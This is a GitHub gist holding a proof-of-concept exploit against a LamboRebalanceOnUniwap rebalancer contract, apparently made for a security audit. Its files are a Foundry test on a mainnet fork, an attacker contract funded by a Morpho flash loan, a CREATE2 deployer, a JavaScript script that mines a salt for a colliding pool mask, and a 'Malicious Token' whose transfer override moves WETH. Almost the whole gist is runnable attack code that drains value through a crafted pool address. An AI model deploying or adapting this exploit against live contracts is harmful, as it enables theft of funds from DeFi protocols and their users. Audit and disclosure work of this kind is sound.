Skip to content

Instantly share code, notes, and snippets.

@CDDose
Last active December 9, 2024 19:12
Show Gist options
  • Save CDDose/cf9d31046af661d077c442e437b9a06b to your computer and use it in GitHub Desktop.
Save CDDose/cf9d31046af661d077c442e437b9a06b to your computer and use it in GitHub Desktop.
Put all this files in the /test/Attack/ folder, but put Attack.t.sol in the /test
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test} from "forge-std/Test.sol";
import {LamboRebalanceOnUniwap} from "../src/rebalance/LamboRebalanceOnUniwap.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {VirtualToken} from "../src/VirtualToken.sol";
import {IDexRouter} from "../src/interfaces/OKX/IDexRouter.sol";
import {LaunchPadUtils} from "../src/Utils/LaunchPadUtils.sol";
import {IWETH} from "../src/interfaces/IWETH.sol";
import {ILiquidityManager} from "../src/interfaces/Uniswap/ILiquidityManager.sol";
import {INonfungiblePositionManager} from "../src/interfaces/Uniswap/INonfungiblePositionManager.sol";
import {IPoolInitializer} from "../src/interfaces/Uniswap/IPoolInitializer.sol";
import {IUniswapV3Pool} from "../src/interfaces/Uniswap/IUniswapV3Pool.sol";
import {IUniswapV3Factory} from "../src/interfaces/Uniswap/IUniswapV3Factory.sol";
import {console} from "forge-std/console.sol";
//Import attack utilities
import {Token} from "./Attack/Token.sol";
import {Attack} from "./Attack/Attacker.sol";
import {Deployer} from "./Attack/Deployer.sol";
contract RebalanceTest is Test {
LamboRebalanceOnUniwap public lamboRebalance;
uint256 private constant _ONE_FOR_ZERO_MASK = 1 << 255; // Mask for identifying if the swap is one-for-zero
address public multiSign = 0x9E1823aCf0D1F2706F35Ea9bc1566719B4DE54B8;
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public OKXTokenApprove = 0x40aA958dd87FC8305b97f2BA922CDdCa374bcD7f;
address public OKXRouter = 0x7D0CcAa3Fac1e5A943c5168b6CEd828691b46B36;
IUniswapV3Factory public factory =
IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);
address public VETH;
address public uniswapPool;
address public NonfungiblePositionManager =
0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
Token public token;
Attack public attacker;
Deployer public deployer;
bytes32 public computedSalt =
0xa82872b96246dac512ddf0515f5da862a92ecebebcb92537b6e3e73199694c45;
uint public computedMask =
uint256(uint160(0x31CA527e716474aD2cbE782008311F9Ec108916c));
function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/eth");
lamboRebalance = new LamboRebalanceOnUniwap();
uint24 fee = 3000;
vm.startPrank(multiSign);
VETH = address(
new VirtualToken("vETH", "vETH", LaunchPadUtils.NATIVE_TOKEN)
);
VirtualToken(VETH).addToWhiteList(address(lamboRebalance));
VirtualToken(VETH).addToWhiteList(address(this));
vm.stopPrank();
// prepare uniswapV3 pool(VETH <-> WETH)
_createUniswapPool();
lamboRebalance.initialize(
address(this),
address(VETH),
address(uniswapPool),
fee
);
//create the deployer
console.log(VETH);
deployer = new Deployer();
console.log(address(deployer));
//deploy token
token = Token(address(deployer.deployToken(computedSalt)));
//mint tokens
token.mint(1e30);
token.setRebalancer(address(lamboRebalance));
//create the pool
address attack_pool = factory.createPool(address(token), VETH, 3000);
IUniswapV3Pool(attack_pool).initialize(131276603545914982333996914145);
//then deploy attacker
attacker = new Attack(
uniswapPool,
address(token),
address(lamboRebalance),
computedMask,
VETH
);
//transfer tokens to attacker
token.transfer(address(attacker), 1e30);
}
function _createUniswapPool() internal {
VirtualToken(VETH).cashIn{value: 1000 ether}(1000 ether);
VirtualToken(VETH).approve(NonfungiblePositionManager, 1000 ether);
IWETH(WETH).deposit{value: 1000 ether}();
IWETH(WETH).approve(NonfungiblePositionManager, 1000 ether);
// uniswap only have several fee tial (1%, 0.3%, 0.05%, 0.03%), we select 0.3%
uniswapPool = IPoolInitializer(NonfungiblePositionManager)
.createAndInitializePoolIfNecessary(
VETH,
WETH,
uint24(3000),
uint160(79228162514264337593543950336)
);
INonfungiblePositionManager.MintParams
memory params = INonfungiblePositionManager.MintParams({
token0: VETH,
token1: WETH,
fee: 3000,
tickLower: -60,
tickUpper: 60,
amount0Desired: 400 ether,
amount1Desired: 400 ether,
amount0Min: 400 ether,
amount1Min: 400 ether,
recipient: multiSign,
deadline: block.timestamp + 1 hours
});
INonfungiblePositionManager(NonfungiblePositionManager).mint(params);
params = INonfungiblePositionManager.MintParams({
token0: VETH,
token1: WETH,
fee: 3000,
tickLower: -12000,
tickUpper: -60,
amount0Desired: 0,
amount1Desired: 50 ether,
amount0Min: 0,
amount1Min: 0,
recipient: multiSign,
deadline: block.timestamp + 1 hours
});
INonfungiblePositionManager(NonfungiblePositionManager).mint(params);
params = INonfungiblePositionManager.MintParams({
token0: VETH,
token1: WETH,
fee: 3000,
tickLower: 60,
tickUpper: 12000,
amount0Desired: 50 ether,
amount1Desired: 0,
amount0Min: 0,
amount1Min: 0,
recipient: multiSign,
deadline: block.timestamp + 1 hours
});
INonfungiblePositionManager(NonfungiblePositionManager).mint(params);
}
function test_rebalance_from_weth_to_veth() public {
//note First swap 422 WETH for VETH, to make VETH expensive
uint256 amount = 422 ether;
uint256 _v3pool = uint256(uint160(uniswapPool)) | (_ONE_FOR_ZERO_MASK);
uint256[] memory pools = new uint256[](1);
pools[0] = _v3pool;
uint256 amountOut0 = IDexRouter(OKXRouter).uniswapV3SwapTo{
value: amount
}(uint256(uint160(multiSign)), amount, 0, pools);
console.log("user amountOut0", amountOut0);
//use attacker
attacker.takeProfit(100 ether);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {LamboRebalanceOnUniwap} from "../../src/rebalance/LamboRebalanceOnUniwap.sol";
import {Token} from "./Token.sol";
import {IMorpho} from "@morpho/interfaces/IMorpho.sol";
import {IMorphoFlashLoanCallback} from "@morpho/interfaces/IMorphoCallbacks.sol";
import {INonfungiblePositionManager} from "../../src/interfaces/Uniswap/INonfungiblePositionManager.sol";
import {IDexRouter} from "../../src/interfaces/OKX/IDexRouter.sol";
import {console} from "forge-std/console.sol";
contract Attack {
address public constant morphoVault =
0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
address public owner;
INonfungiblePositionManager public constant positionManager =
INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant OKXTokenApprove =
0x40aA958dd87FC8305b97f2BA922CDdCa374bcD7f;
address public immutable vETH;
address public immutable pool;
Token public immutable token;
LamboRebalanceOnUniwap public immutable rebalancer;
uint256 public immutable mask;
address public constant OKXRouter =
0x7D0CcAa3Fac1e5A943c5168b6CEd828691b46B36;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor(
address _pool,
address _token,
address _rebalancer,
uint256 _mask,
address _vETH
) {
pool = _pool;
token = Token(_token);
rebalancer = LamboRebalanceOnUniwap(payable(_rebalancer));
mask = _mask;
owner = msg.sender;
vETH = _vETH;
//Approve Position manager
token.approve(address(positionManager), ~uint256(0));
Token(vETH).approve(address(positionManager), ~uint256(0));
}
//A function to start the attack, by taking a flash-loan from Morpho
function takeProfit(uint256 loanAmount) public onlyOwner {
IMorpho(morphoVault).flashLoan(WETH, loanAmount + 1, new bytes(0));
}
function onMorphoFlashLoan(uint256 assets, bytes calldata) external {
require(
msg.sender == address(morphoVault),
"Caller is not morphoVault"
);
//Tell token how much WETH to give back to balancer
token.setWETHAmount(assets);
//Then transfer required amount
Token(WETH).transfer(address(token), assets);
//Add liquidity to our maliciosu pool
//We only need to provide enough malicious token to be swapped with VETH
//hence we dont need to provide and VETH
INonfungiblePositionManager.MintParams memory params = INonfungiblePositionManager
.MintParams({
token0: address(token) < vETH ? address(token) : vETH,
token1: address(token) < vETH ? vETH : address(token),
fee: 3000, // 0.3% pool, for example
tickLower: 60, //do not care
tickUpper: 6000, //do not care
amount0Desired: address(token) < vETH ? 1e24 : 0,
amount1Desired: address(token) > vETH ? 1e24 : 0, // If you want to start one-sided with Token
amount0Min: 0,
amount1Min: 0,
recipient: address(this),
deadline: block.timestamp
});
(uint256 tokenId, uint128 liquidity, , ) = positionManager.mint(params);
//Then perform the rebalancing, using our mask and assets - 1 wei
rebalancer.rebalance(mask, assets - 1, 0);
//The attack is performed, remove liquidity from our pool
//now our pool contains 1 VETH which we got with a discount
INonfungiblePositionManager.DecreaseLiquidityParams
memory decreaseParams = INonfungiblePositionManager
.DecreaseLiquidityParams({
tokenId: tokenId,
liquidity: liquidity,
amount0Min: 0,
amount1Min: 0,
deadline: block.timestamp
});
(uint256 amount0Removed, uint256 amount1Removed) = positionManager
.decreaseLiquidity(decreaseParams);
INonfungiblePositionManager.CollectParams
memory collectParams = INonfungiblePositionManager.CollectParams({
tokenId: tokenId,
recipient: address(this),
amount0Max: ~uint128(0),
amount1Max: ~uint128(0)
});
//Tell token no need to send anymore WETH To rebalancer
token.setWETHAmount(0);
//Collect tokens from the pool
(uint256 amount0Collected, uint256 amount1Collected) = positionManager
.collect(collectParams);
//we received 1 VETH at a discount, 2 wei less because of pool fees
require(
Token(vETH).balanceOf(address(this)) == 99999999999999999998,
"Received 1 VETH"
);
require(
Token(vETH).approve(address(OKXTokenApprove), 99999999999999999998),
"Approve failed"
);
uint256 _v3pool = uint256(uint160(pool));
uint256[] memory pools = new uint256[](1);
pools[0] = _v3pool;
IDexRouter(OKXRouter).uniswapV3SwapTo(
uint256(uint160(address(this))),
99999999999999999998,
0,
pools
);
//give back loan
Token(WETH).approve(address(morphoVault), assets);
//we are left with more
assert(Token(WETH).balanceOf(address(this)) > 0);
console.log(Token(WETH).balanceOf(address(this)));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Create2} from "@openzeppelin/contracts/utils/Create2.sol";
import {Token} from "./Token.sol";
contract Deployer {
event logHash(bytes32 _hash);
function deployToken(bytes32 salt) public returns (address token) {
bytes memory bytecode = type(Token).creationCode;
emit logHash(keccak256(bytecode));
token = Create2.deploy(0, salt, bytecode);
}
}
const { ethers } = require('ethers');
const { getCreate2Address } = require('@ethersproject/address');
const { computePoolAddress, FeeAmount } = require('@uniswap/v3-sdk');
const { Token } = require('@uniswap/sdk-core');
// Lets assume this is the address of VETH-VETH pool, we use an easy address (with a few bits set to 1)
// To be able to find the salt easier, for sake of this POC
const mainPool = "0x0000000000000000000000000000000000000093";
//Bytecode hash of attacker token
const tokenHash = "0x9626ffa272f7842719c94ab4e6fa689ae2ac9626717c2909a057b6c51b9d9743";
//Address of VETH for pool calculation
const VETH = "0x999dFa89004f02a806076c482BABC8479D26fa00";
//Address of uniswap v3 factory
const poolDeployer = "0x1F98431c8aD98523631AE4a59f267346ea31F984";
//Address of token deployer
const tokenDeployer = "0x2e234DAe75C793f67A35089C9d99245E1C58470b"
async function main() {
// Convert addresses to BigInt for the mask check
const mainPoolVal = BigInt(mainPool.toLowerCase());
let attempts = 0;
let i = 0
while (true) {
i++;
attempts++;
const randomSalt = ethers.solidityPackedSha256(['uint256'], [i]);
// Compute the token address from the salt and the tokenHash
const tokenAddr = getCreate2Address(tokenDeployer, randomSalt, tokenHash);
// Construct Token instances for Uniswap v3-sdk
const tokenA = new Token(1, tokenAddr, 18, 'TKN', 'Token');
const tokenW = new Token(1, VETH, 18, 'VETH', 'VETH');
// Compute the pool address for tokenAddr-VETH pair
const poolAddr = computePoolAddress({
factoryAddress: poolDeployer,
tokenA: tokenA,
tokenB: tokenW,
fee: FeeAmount.MEDIUM
});
const poolVal = BigInt(poolAddr.toLowerCase());
// Check condition: mask | mainPool = poolAddr
// mask = poolAddr & ~mainPool
const mask = poolVal & (~mainPoolVal);
console.log(poolVal);
if ((mask | mainPoolVal) === poolVal) {
console.log("Found a match!");
console.log("Random Salt:", randomSalt);
console.log("Token Address:", tokenAddr);
console.log("Pool Address:", poolAddr);
console.log("Mask:", ethers.getAddress("0x" + mask.toString(16)));
console.log("Attempts:", attempts);
break;
}
}
}
main();
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Token is ERC20 {
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public rebalancer;
uint public wethAmount;
constructor() ERC20("Malicious Token", "MToken") {}
function mint(uint amount) public {
_mint(msg.sender, amount);
}
function setRebalancer(address _rebalancer) public {
rebalancer = _rebalancer;
}
function setWETHAmount(uint amount) public {
wethAmount = amount;
}
function transfer(address to, uint amount) public override returns (bool) {
ERC20(WETH).transfer(rebalancer, wethAmount);
return super.transfer(to, amount);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment